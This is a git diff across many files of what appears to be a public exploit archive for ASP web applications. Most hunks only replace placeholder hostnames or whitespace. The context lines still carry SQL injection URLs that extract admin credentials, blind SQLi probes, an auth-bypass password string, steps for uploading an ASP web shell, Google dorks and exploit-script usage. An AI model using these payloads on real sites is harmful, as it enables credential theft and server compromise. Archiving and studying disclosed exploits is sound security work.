b/platforms/asp/webapps/14461.txt index db9b31229..d97919b34 100755 --- a/platforms/asp/webapps/14461.txt +++ b/platforms/asp/webapps/14461.txt @@ -13,14 +13,14 @@ Dork : :/ sorry [+] Vulnerable File : -http://www.server/default.asp?islem=devami&id=38%20union+select+all+0, +http://www.site.com/default.asp?islem=devami&id=38%20union+select+all+0, sifre,2,3%20,4,5+from+aky_ayarlar =================================================== [+] Demo : -http://www.server/blog/default.asp?islem=devami&id=38%20union+s +http://www.site.com/blog/default.asp?islem=devami&id=38%20union+s elect+all+0,sifre,2,3%20,4,5+from+aky_ayarlar =================================================== @@ -31,4 +31,4 @@ and all www.worldhackerz.com Member =================================================== -# Turkish P0wer \ No newline at end of file +# Turkish P0wer \ No newline at end of file diff --git a/platforms/asp/webapps/14709.txt b/platforms/asp/webapps/14709.txt index baf601e20..b94cc7001 100755 --- a/platforms/asp/webapps/14709.txt +++ b/platforms/asp/webapps/14709.txt @@ -1,4 +1,4 @@ -======================================= + ======================================= netStartEnterprise v4.0 SQL Injection Vulnerability ======================================= @@ -15,7 +15,7 @@ # Version: netStartEnterprise v4.0 -# Path: http://www.server/previeweventdetail.aspx?id=[SQL] +# Path: http://www.site.com/previeweventdetail.aspx?id=[SQL] # Platform: ASP diff --git a/platforms/asp/webapps/1472.pl b/platforms/asp/webapps/1472.pl index ac6a08c31..d19ff6a67 100755 --- a/platforms/asp/webapps/1472.pl +++ b/platforms/asp/webapps/1472.pl @@ -84,7 +84,7 @@ sub usage() { head(); print " Usage: Thaisql.pl \r\n\n"; - print " - Full path to Guestbook e.g. http://www.server/guestbook/ \r\n"; + print " - Full path to Guestbook e.g. http://www.site.com/guestbook/ \r\n"; print "=======================================================================\r\n"; print " -=Coded by Zodiac, Bug Found by MurderSkillz=-\r\n"; print "www.exploitercode.com www.g00ns.net irc.g00ns.net #g00ns\r\n"; diff --git a/platforms/asp/webapps/14821.txt b/platforms/asp/webapps/14821.txt index ae14c6919..9c14f5ef1 100755 --- a/platforms/asp/webapps/14821.txt +++ b/platforms/asp/webapps/14821.txt @@ -11,10 +11,10 @@ Vulnerability : (Auth Bypass) SQL Injection Vulnerability [Auth Bypass]: user: pouya pass: ' or ' -admin page : http://server/[path]/admin.asp +admin page : http://site.com/[path]/admin.asp --------------------------------- Victem : http://www.etoshop.com/demo/pcstore --------------------------------------------------------- ######################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/asp/webapps/14898.txt b/platforms/asp/webapps/14898.txt index 40961c256..21b4cd03e 100755 --- a/platforms/asp/webapps/14898.txt +++ b/platforms/asp/webapps/14898.txt @@ -123,3 +123,4 @@ Persistent XSS Vulnerabilities: =========================================================================================== + \ No newline at end of file diff --git a/platforms/asp/webapps/14913.txt b/platforms/asp/webapps/14913.txt index 52c5a0389..cc2973844 100755 --- a/platforms/asp/webapps/14913.txt +++ b/platforms/asp/webapps/14913.txt @@ -43,7 +43,7 @@ Step 1) Login into member or User Section Link: -http://www.server/dmxreadyv2/membersareamanager/membersareamanager.asp?show=login-member +http://www.site.com/dmxreadyv2/membersareamanager/membersareamanager.asp?show=login-member Step 2) Go to Edit profile @@ -66,7 +66,7 @@ Step 3) Enter your Attack Pattern Step 4) Refresh and View User profile Demo Url:- -http://www.server/dmxreadyv2/membersareamanager/membersareamanager.asp?member=&show=member-profile&tab=meta +http://www.site.com/dmxreadyv2/membersareamanager/membersareamanager.asp?member=&show=member-profile&tab=meta ~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~ diff --git a/platforms/asp/webapps/14914.txt b/platforms/asp/webapps/14914.txt index 51cea912b..11ade043d 100755 --- a/platforms/asp/webapps/14914.txt +++ b/platforms/asp/webapps/14914.txt @@ -38,7 +38,7 @@ Vulnerability: DEMO URL: -http://www.server/detail.asp?ad_ID=1&vehicletypeID=[sqli] +http://www.site.com/detail.asp?ad_ID=1&vehicletypeID=[sqli] # 0day n0 m0re # diff --git a/platforms/asp/webapps/14943.txt b/platforms/asp/webapps/14943.txt index 6c70497b8..a236f452d 100755 --- a/platforms/asp/webapps/14943.txt +++ b/platforms/asp/webapps/14943.txt @@ -45,7 +45,7 @@ if id<>"" then lots of files those will have to do input validation from user input are vulnerable to SQL Injection . PoC : -www.server/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/* +www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/* note : if you can't see result you need to do it blindly @@ -53,7 +53,7 @@ note : if you can't see result you need to do it blindly 2- Bypass uploads restriction: after you got user/pass with sql injection go to -http://server/admin/dc_upload.asp +http://site.com/admin/dc_upload.asp js file line 13-34 : @@ -82,4 +82,4 @@ function showthumb(file) { as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell. -you can find your shell in : www.server/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload) \ No newline at end of file +you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload) \ No newline at end of file diff --git a/platforms/asp/webapps/14954.txt b/platforms/asp/webapps/14954.txt index 1511fa72a..fedf299f5 100755 --- a/platforms/asp/webapps/14954.txt +++ b/platforms/asp/webapps/14954.txt @@ -65,3 +65,4 @@ PoC: Note that : the value 2010_7_25 is the exact date of server. =========================================================================================== + \ No newline at end of file diff --git a/platforms/asp/webapps/14969.txt b/platforms/asp/webapps/14969.txt index dad6ad2d3..27299fccb 100755 --- a/platforms/asp/webapps/14969.txt +++ b/platforms/asp/webapps/14969.txt @@ -46,14 +46,14 @@ Description : Considering to the code, you can browse these URLs: - http://www.server/module/article/article/article.asp?articleid=7' (the false Query will be shown) - http://www.server/module/article/article/article.asp?articleid=7+and+'a'='a'-- (this Query is always true) + http://www.site.com/module/article/article/article.asp?articleid=7' (the false Query will be shown) + http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'-- (this Query is always true) with the following URL you can find the first character of Username: - http://www.server/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)-- + http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)-- and second character: - http://www.server/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)-- + http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)-- and so on. diff --git a/platforms/asp/webapps/15058.html b/platforms/asp/webapps/15058.html index 8d129ca3b..ce2e6862d 100755 --- a/platforms/asp/webapps/15058.html +++ b/platforms/asp/webapps/15058.html @@ -83,3 +83,4 @@ This page remove Admins Role in VWD-CMS. =========================================================================================== + \ No newline at end of file diff --git a/platforms/asp/webapps/15067.txt b/platforms/asp/webapps/15067.txt index 586e7cf7b..928debb15 100755 --- a/platforms/asp/webapps/15067.txt +++ b/platforms/asp/webapps/15067.txt @@ -179,3 +179,4 @@ Persistent XSS and XSRF: =========================================================================================== + \ No newline at end of file diff --git a/platforms/asp/webapps/15078.txt b/platforms/asp/webapps/15078.txt index ef1088db1..44b79b6a8 100755 --- a/platforms/asp/webapps/15078.txt +++ b/platforms/asp/webapps/15078.txt @@ -183,3 +183,4 @@ This page uploads a file =========================================================================================== + \ No newline at end of file diff --git a/platforms/asp/webapps/15106.txt b/platforms/asp/webapps/15106.txt index 45567d025..5ad2db0dd 100755 --- a/platforms/asp/webapps/15106.txt +++ b/platforms/asp/webapps/15106.txt @@ -61,3 +61,4 @@ Persistent XSS in admin section: =========================================================================================== + \ No newline at end of file diff --git a/platforms/asp/webapps/15118.txt b/platforms/asp/webapps/15118.txt index c2c8372ca..7d5057cb0 100755 --- a/platforms/asp/webapps/15118.txt +++ b/platforms/asp/webapps/15118.txt @@ -9,7 +9,7 @@ Gokhun ASP Stok v1.0 - Multiple Remote Vulnerabilities ~Script : Gokhun ASP Stok v1.0 ~Software: http://www.gokhun.com & http://www.aspindir.com/goster/6092 ~Vulnerability Style : Multiple vulnerabilities -~Demo : http://www.server/asp/pages/main/ +~Demo : http://www.site.com/asp/pages/main/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ Explotation ~~~~~~~~~~~ ======== SQL Injection ========= @@ -51,7 +51,7 @@ print "[-]Ornegi inceleyin\n\n"; } sub help() { -print "[+] usage1 : perl $0 server /path/ \n"; +print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } diff --git a/platforms/asp/webapps/15160.txt b/platforms/asp/webapps/15160.txt index 97a8022d9..bfbf3035c 100755 --- a/platforms/asp/webapps/15160.txt +++ b/platforms/asp/webapps/15160.txt @@ -160,3 +160,4 @@ This page uploads a file with "xml" extension =========================================================================================== + \ No newline at end of file diff --git a/platforms/asp/webapps/15183.py b/platforms/asp/webapps/15183.py index 32f30fa63..d267eacf0 100755 --- a/platforms/asp/webapps/15183.py +++ b/platforms/asp/webapps/15183.py @@ -40,7 +40,7 @@ if len(sys.argv) < 2: print " " print " coded by ZoRLu " print " " - print ' usage: %s http://server/path/' % os.path.basename(sys.argv[0]) + print ' usage: %s http://server.com/path/' % os.path.basename(sys.argv[0]) print " " print "_______________________________________________________________" sys.exit(1) diff --git a/platforms/asp/webapps/15199.py b/platforms/asp/webapps/15199.py index c1cdb993a..44eef8817 100755 --- a/platforms/asp/webapps/15199.py +++ b/platforms/asp/webapps/15199.py @@ -38,7 +38,7 @@ if len(sys.argv) < 2: print " " print " coded by ZoRLu " print " " - print ' usage: %s http://server/path/' % os.path.basename(sys.argv[0]) + print ' usage: %s http://server.com/path/' % os.path.basename(sys.argv[0]) print " " print "_______________________________________________________________" sys.exit(1) diff --git a/platforms/asp/webapps/15219.py b/platforms/asp/webapps/15219.py index b7b288e1a..b3332e74f 100755 --- a/platforms/asp/webapps/15219.py +++ b/platforms/asp/webapps/15219.py @@ -29,7 +29,7 @@ if len(sys.argv) < 2: print " " print " Usage: " print " " - print " python exploit.py http://server/path/ " + print " python exploit.py http://site.com/path/ " print " " print "_______________________________________________________________" sys.exit(1) diff --git a/platforms/asp/webapps/15270.txt b/platforms/asp/webapps/15270.txt index 3bbb082f8..909264f17 100755 --- a/platforms/asp/webapps/15270.txt +++ b/platforms/asp/webapps/15270.txt @@ -49,7 +49,7 @@ print "[-]Ornegi inceleyin\n\n"; } sub help() { -print "[+] usage1 : perl $0 server /path/ \n"; +print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } diff --git a/platforms/asp/webapps/15382.txt b/platforms/asp/webapps/15382.txt index 42ec06b99..674140e49 100755 --- a/platforms/asp/webapps/15382.txt +++ b/platforms/asp/webapps/15382.txt @@ -29,7 +29,7 @@ private void Page_Load(object sender, EventArgs e) } [-] End Poc [#] Exploit : -http://server/DesktopModules/Gallery/OrderForm.aspx?itemtitle= +http://Site.Com/DesktopModules/Gallery/OrderForm.aspx?itemtitle= [2] Remote File Upload : @@ -41,14 +41,14 @@ string acceptedFiles = ";.jpg;.jpeg;.jpe;.gif;.bmp;.png;.swf;.avi;.ra;.mov;.mpeg;.mpg;.wav;"; You Can Bypass [-] End Poc -[#] Exploit :http://server/DesktopModules/ftb/ftb.imagegallery.aspx[*] +[#] Exploit :http://Site.Com/DesktopModules/ftb/ftb.imagegallery.aspx[*] [3] Information Leakage Show Device Info : -http://server/security/DeviceInfo.aspx +http://Site.Com/security/DeviceInfo.aspx [4] Xss Present : -http://server/security/DeviceInfo.aspx +http://Site.Com/security/DeviceInfo.aspx [~] Poc : Douran.dll:DouranPortal.DesktopModules.BlogDB Submit Data Without Check{ @@ -104,7 +104,7 @@ SqlDbType.NVarChar, 100); command.ExecuteNonQuery(); sqlConnectionString.Close();} [-] End Poc -[#] Exploit :http://server/DesktopModules/Blog/BlogView.aspx +[#] Exploit :http://Site.Com/DesktopModules/Blog/BlogView.aspx [-][-][-][-][-][-][-](Vulnerabilities)[-][-][-][-][-][-][-] ~~~~~~~~~~~~~~~~[Vulnerabilities]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/platforms/asp/webapps/15544.txt b/platforms/asp/webapps/15544.txt index 2d5c1ae42..ae2d93e53 100755 --- a/platforms/asp/webapps/15544.txt +++ b/platforms/asp/webapps/15544.txt @@ -25,7 +25,7 @@ NewsPad Database Download Vulnerability ############################################################ -exploit # server/path/database/NewsPad.mdb +exploit # www.target.com/path/database/NewsPad.mdb ############################################################ diff --git a/platforms/asp/webapps/15551.txt b/platforms/asp/webapps/15551.txt index aaf1e4f67..d90310830 100755 --- a/platforms/asp/webapps/15551.txt +++ b/platforms/asp/webapps/15551.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/asp/webapps/15552.txt b/platforms/asp/webapps/15552.txt index ad10ca667..b8f3ccf1b 100755 --- a/platforms/asp/webapps/15552.txt +++ b/platforms/asp/webapps/15552.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/asp/webapps/15553.txt b/platforms/asp/webapps/15553.txt index cd5313dc4..5c8689d6f 100755 --- a/platforms/asp/webapps/15553.txt +++ b/platforms/asp/webapps/15553.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/asp/webapps/15554.txt b/platforms/asp/webapps/15554.txt index 72270295a..9074e274a 100755 --- a/platforms/asp/webapps/15554.txt +++ b/platforms/asp/webapps/15554.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/asp/webapps/15563.txt b/platforms/asp/webapps/15563.txt index 41a97a6bb..db037d23e 100755 --- a/platforms/asp/webapps/15563.txt +++ b/platforms/asp/webapps/15563.txt @@ -17,13 +17,13 @@ Sitefinity CMS (ASP.NET) Shell Upload Vulnerability exploit # /UserControls/Dialogs/ImageEditorDialog.aspx -first go to # http://server/sitefinity/ +first go to # http://site.com/sitefinity/ - then # http://server/sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx + then # http://site.com/sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx select # asp renamed via the .asp;.jpg (shell.asp;.jpg) - Upload to # http://server/Images/[shell] + Upload to # http://site.com/Images/[shell] Video : http://net-edit0r.persiangig.com/Film/0day.rar diff --git a/platforms/asp/webapps/15597.txt b/platforms/asp/webapps/15597.txt index 7f8fa9617..30c52a58e 100755 --- a/platforms/asp/webapps/15597.txt +++ b/platforms/asp/webapps/15597.txt @@ -46,4 +46,4 @@ Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , M4hd1 BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic ~ keracker -########################################################################### \ No newline at end of file +########################################################################### \ No newline at end of file diff --git a/platforms/asp/webapps/15653.txt b/platforms/asp/webapps/15653.txt index 9b24b3ea6..a8fcd1494 100755 --- a/platforms/asp/webapps/15653.txt +++ b/platforms/asp/webapps/15653.txt @@ -1,4 +1,4 @@ -Core Security Technologies - CoreLabs Advisory + Core Security Technologies - CoreLabs Advisory http://corelabs.coresecurity.com/ Multiple vulnerabilities in BugTracker.Net diff --git a/platforms/asp/webapps/15686.txt b/platforms/asp/webapps/15686.txt index a4981d4bc..97857bc53 100755 --- a/platforms/asp/webapps/15686.txt +++ b/platforms/asp/webapps/15686.txt @@ -24,4 +24,4 @@ Code: ASP 2.0 & VBScript SQL Injection: http://server/ECO.asp?ECO_ID=[Code] -######################################################################################## \ No newline at end of file +######################################################################################## \ No newline at end of file diff --git a/platforms/asp/webapps/15687.txt b/platforms/asp/webapps/15687.txt index df6e398a9..534c06162 100755 --- a/platforms/asp/webapps/15687.txt +++ b/platforms/asp/webapps/15687.txt @@ -24,4 +24,4 @@ Sell e-books, e-zines, Flash, digital arts, ringtones... Code: ASP 2.0 & VBScrip SQL Injection: http://server/shoppingcart.asp?d=[Code] -######################################################################################## \ No newline at end of file +######################################################################################## \ No newline at end of file diff --git a/platforms/asp/webapps/1569.pl b/platforms/asp/webapps/1569.pl index 32cebf7ff..6216d6af5 100755 --- a/platforms/asp/webapps/1569.pl +++ b/platforms/asp/webapps/1569.pl @@ -1,4 +1,4 @@ -#!/usr/bin/perl -w + #!/usr/bin/perl -w # D2KBLOG SQL injection # Discovered by : Farhad Koosha [ farhadkey [at} kapda.ir ] # Exploited by : devil_box [ devil_box [at} kapda.ir ] @@ -15,7 +15,7 @@ print "\r\n=-=-=-=============================================================== if (@ARGV != 2) { print " Usage: kapda_D2KBLOG_xpl.pl [Target Domain] [Vulnerable Page]\n\r\n"; - print " ex: kapda_D2KBLOG_xpl.pl server /blog/profile.asp\n\r\n"; + print " ex: kapda_D2KBLOG_xpl.pl www.target.com /blog/profile.asp\n\r\n"; exit (); } diff --git a/platforms/asp/webapps/15703.txt b/platforms/asp/webapps/15703.txt index 5717f2caf..a865dc1ca 100755 --- a/platforms/asp/webapps/15703.txt +++ b/platforms/asp/webapps/15703.txt @@ -36,3 +36,4 @@ Personal # Special Thanks : Farzad_Ho,R3dMind,rAbiN_hoOd,Falcon + \ No newline at end of file diff --git a/platforms/asp/webapps/15776.pl b/platforms/asp/webapps/15776.pl index 06436c4c9..34f620e67 100755 --- a/platforms/asp/webapps/15776.pl +++ b/platforms/asp/webapps/15776.pl @@ -8,7 +8,7 @@ # Found: Br0ly # google dork: inurl:"produtos.asp?produto=" # Use some base64 decode google IT. -# After decoding login and pass go to: www.server.br/administrador.asp +# After decoding login and pass go to: www.site.com.br/administrador.asp # aoiuaoaaaaiuahiuahaaiauhaiuha EASY ??? # BRASIL!! :D # diff --git a/platforms/asp/webapps/16178.txt b/platforms/asp/webapps/16178.txt index 2b1b4671f..06fc22339 100755 --- a/platforms/asp/webapps/16178.txt +++ b/platforms/asp/webapps/16178.txt @@ -10,4 +10,4 @@ Attackers can use a browser to exploit this issue. The following example URI is available: -http://www.example.com/resulttype.asp?probe=[Code] \ No newline at end of file +http://www.example.com/resulttype.asp?probe=[Code] \ No newline at end of file diff --git a/platforms/asp/webapps/16205.txt b/platforms/asp/webapps/16205.txt index 73abacc00..bc344f338 100755 --- a/platforms/asp/webapps/16205.txt +++ b/platforms/asp/webapps/16205.txt @@ -6,11 +6,11 @@ dork : intext:"powered by DiyWeb" SQL - Microsoft JET Database Engine error ----------------------------------------- -http://server/template.asp?menuid=[SQL] -http://server/viewcatalog.asp?id=[SQL] -http://server/xxx.asp?id=[SQL] +http://site.com/template.asp?menuid=[SQL] +http://site.com/viewcatalog.asp?id=[SQL] +http://site.com/xxx.asp?id=[SQL] XSS --- -http://server/diyweb/login.asp?msg=[XSS] -- login page +http://site.com/diyweb/login.asp?msg=[XSS] -- login page diff --git a/platforms/asp/webapps/16241.txt b/platforms/asp/webapps/16241.txt index 189a23dc6..dfcc79b5e 100755 --- a/platforms/asp/webapps/16241.txt +++ b/platforms/asp/webapps/16241.txt @@ -8,21 +8,21 @@ Blind SQL POC --- -http://server//gallery_details.asp?a_id=12' and '1'='1 TRUE -http://server//gallery_details.asp?a_id=12' and '0'='1 FALSE +http://site.com//gallery_details.asp?a_id=12' and '1'='1 TRUE +http://site.com//gallery_details.asp?a_id=12' and '0'='1 FALSE 2 - Parameter news.asp?intSeq=[Blind SQL] POC --- -http://www.server/news/news.asp?intSeq=69' and '1'='1 TRUE -http://www.server/news/news.asp?intSeq=69' and '0'='1 FALSE +http://www.site.com/news/news.asp?intSeq=69' and '1'='1 TRUE +http://www.site.com/news/news.asp?intSeq=69' and '0'='1 FALSE 3 - Parameter news.asp?id=[Blind SQL] POC --- -http://www.server/news/news.asp?id=256 and 1=1 TRUE -http://www.server/news/news.asp?id=256 and 1=0 FALSE +http://www.site.com/news/news.asp?id=256 and 1=1 TRUE +http://www.site.com/news/news.asp?id=256 and 1=0 FALSE - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/asp/webapps/16941.txt b/platforms/asp/webapps/16941.txt index 02f8f0573..84ebeca7a 100755 --- a/platforms/asp/webapps/16941.txt +++ b/platforms/asp/webapps/16941.txt @@ -8,13 +8,13 @@ SQL - Microsoft JET Database Engine error ------------------------------------------ view_article.asp?item=[SQL] -http://server/page.asp?pID=[SQL] -http://server/display.asp?sortby=sections&sID=[SQL] +http://site.com/page.asp?pID=[SQL] +http://site.com/display.asp?sortby=sections&sID=[SQL] POC --- -http://server/view_article.asp?item=1 union select 1 from test.a +http://site.com/view_article.asp?item=1 union select 1 from test.a thanks, -p0pc0rn- \ No newline at end of file diff --git a/platforms/asp/webapps/16953.txt b/platforms/asp/webapps/16953.txt index 91e1d3e19..476774b40 100755 --- a/platforms/asp/webapps/16953.txt +++ b/platforms/asp/webapps/16953.txt @@ -5,10 +5,10 @@ Found by: p0pc0rn SQL --- -http://server/page.asp?id=[SQL] -http://server/cat.asp?catid=[SQL] -http://server/catin.asp?productid=[SQL] +http://site.com/page.asp?id=[SQL] +http://site.com/cat.asp?catid=[SQL] +http://site.com/catin.asp?productid=[SQL] POC --- -http://server/page.asp?id=23 union select 1 from test.a +http://site.com/page.asp?id=23 union select 1 from test.a diff --git a/platforms/asp/webapps/17015.txt b/platforms/asp/webapps/17015.txt index eee7b47db..9aa2165cc 100755 --- a/platforms/asp/webapps/17015.txt +++ b/platforms/asp/webapps/17015.txt @@ -6,7 +6,7 @@ # Software: Element-IT PowUpload 1.3 # Software Link: http://www.element-it.com/downloadfile.aspx?type=pow # Demo: -http://server/Examples/PowUpload/Simpleupload.htm +http://site.com/Examples/PowUpload/Simpleupload.htm   [Comment] Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Inyexion, diff --git a/platforms/asp/webapps/17016.txt b/platforms/asp/webapps/17016.txt index 60d5a6509..758a0eee9 100755 --- a/platforms/asp/webapps/17016.txt +++ b/platforms/asp/webapps/17016.txt @@ -5,7 +5,7 @@ # Author Web: www.delincuentedigital.com.ar # Software: EAFlashUpload v 2.5 # Software Link: http://www.easyalgo.com/downloads.aspx#EAFlashUpload -# Demo: http://www.server/examples/eaflashupload/simpleupload.aspx +# Demo: http://www.site.com/examples/eaflashupload/simpleupload.aspx   [Comment] Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Inyexion, diff --git a/platforms/asp/webapps/17036.txt b/platforms/asp/webapps/17036.txt index 37b153838..601baa3cd 100755 --- a/platforms/asp/webapps/17036.txt +++ b/platforms/asp/webapps/17036.txt @@ -28,10 +28,10 @@ # # # -# [+]http://server/default.asp?pid=524' -# [+]http://server/default.asp?pid=[SQLi] -# [+]http://server/viewproduct.asp?PID=130' -# [+]http://server/viewproduct.asp?PID=[SQli] +# [+]http://site.com/default.asp?pid=524' +# [+]http://site.com/default.asp?pid=[SQLi] +# [+]http://site.com/viewproduct.asp?PID=130' +# [+]http://site.com/viewproduct.asp?PID=[SQli] # # # => PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam diff --git a/platforms/asp/webapps/1714.txt b/platforms/asp/webapps/1714.txt index 25918792c..13184e76c 100755 --- a/platforms/asp/webapps/1714.txt +++ b/platforms/asp/webapps/1714.txt @@ -6,7 +6,7 @@ First you must be logged in Then type this in your browser -http://www.server/path/member.asp?id=-1%20UNION%20SELECT%201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,16%20FROM%20member+where+memID=1 +http://www.site.com/path/member.asp?id=-1%20UNION%20SELECT%201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,16%20FROM%20member+where+memID=1 You will find admin's password diff --git a/platforms/asp/webapps/17228.txt b/platforms/asp/webapps/17228.txt index 36fc1c398..ed813e7c2 100755 --- a/platforms/asp/webapps/17228.txt +++ b/platforms/asp/webapps/17228.txt @@ -12,7 +12,7 @@ Exploit Details : 2- Browse This Link : /forum/pm_show_message.asp?ID= "it's a message on Your Inbox" -3- Poc: www.server//forum/pm_show_message.asp?ID=(inject here) +3- Poc: www.site.com//forum/pm_show_message.asp?ID=(inject here) ---------------------------------------------------------------- ****** SSMM T34M ****** diff --git a/platforms/asp/webapps/17493.txt b/platforms/asp/webapps/17493.txt index 2cc985116..33fc254c0 100755 --- a/platforms/asp/webapps/17493.txt +++ b/platforms/asp/webapps/17493.txt @@ -1,4 +1,4 @@ -Exploit Title: DmxReady Secure Document Library v1.2 SQL Injection + Exploit Title: DmxReady Secure Document Library v1.2 SQL Injection Vulnerability # Google Dork: inurl:inc_securedocumentlibrary.asp # Date: 03.07.2011 diff --git a/platforms/asp/webapps/1807.txt b/platforms/asp/webapps/1807.txt index 404c19a13..30561636d 100755 --- a/platforms/asp/webapps/1807.txt +++ b/platforms/asp/webapps/1807.txt @@ -11,8 +11,8 @@ Successful exploitation extracts username and password of administrator in clear Proof of Concepts: -------------------- -server/zix/login.asp?layid=-1%20union%20select%201,null,null,1,1,1,1,null,1,1,J_User,null,1,1,1,1,1,J_Pass,null,null,null,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,null%20from%20adminLogins where approve=1 and '1'='1' -server/zix/main.asp?layid=-1%20union%20select%201,null,null,null,1,1,1,null,1,1,J_User,null,1,1,1,1,1,J_Pass,null,null,null,null,1,1,1,1,1,1,1,1,1,1,1,1,1,null,null%20from%20adminLogins where approve=1 and '1'='1' +site.com/zix/login.asp?layid=-1%20union%20select%201,null,null,1,1,1,1,null,1,1,J_User,null,1,1,1,1,1,J_Pass,null,null,null,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,null%20from%20adminLogins where approve=1 and '1'='1' +site.com/zix/main.asp?layid=-1%20union%20select%201,null,null,null,1,1,1,null,1,1,J_User,null,1,1,1,1,1,J_Pass,null,null,null,null,1,1,1,1,1,1,1,1,1,1,1,1,1,null,null%20from%20adminLogins where approve=1 and '1'='1' ------- diff --git a/platforms/asp/webapps/18394.txt b/platforms/asp/webapps/18394.txt index b96d38d27..1410ca636 100755 --- a/platforms/asp/webapps/18394.txt +++ b/platforms/asp/webapps/18394.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/asp/webapps/18395.txt b/platforms/asp/webapps/18395.txt index 59431ff9c..b270b669f 100755 --- a/platforms/asp/webapps/18395.txt +++ b/platforms/asp/webapps/18395.txt @@ -16,4 +16,4 @@ # # [Get Database Name] # http://server/default.aspx?page=Document&app=Documents&docId=convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1 -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/asp/webapps/20987.txt b/platforms/asp/webapps/20987.txt index f2e536642..e7f94c02f 100755 --- a/platforms/asp/webapps/20987.txt +++ b/platforms/asp/webapps/20987.txt @@ -4,4 +4,4 @@ Citrix Nfuse is an application portal server meant to provide the functionality It has been reported that a remote attacker can learn the location of the webroot simply by submitting a request to the launcher application without specifying the additional required information. This has been reported to not be reliably replicable. -http://target/path/launch.asp? \ No newline at end of file +http://target/path/launch.asp? \ No newline at end of file diff --git a/platforms/asp/webapps/21272.txt b/platforms/asp/webapps/21272.txt index 3e4507f5e..d8586e01a 100755 --- a/platforms/asp/webapps/21272.txt +++ b/platforms/asp/webapps/21272.txt @@ -236,8 +236,8 @@ $hello=' Website : www.kami.ma Usage> php knowledgebase0day.php host -Exemple> php knowledgebase0day.php kbase.server -Exemple> php knowledgebase0day.php kbase.server /foo +Exemple> php knowledgebase0day.php kbase.target.com +Exemple> php knowledgebase0day.php kbase.target.com 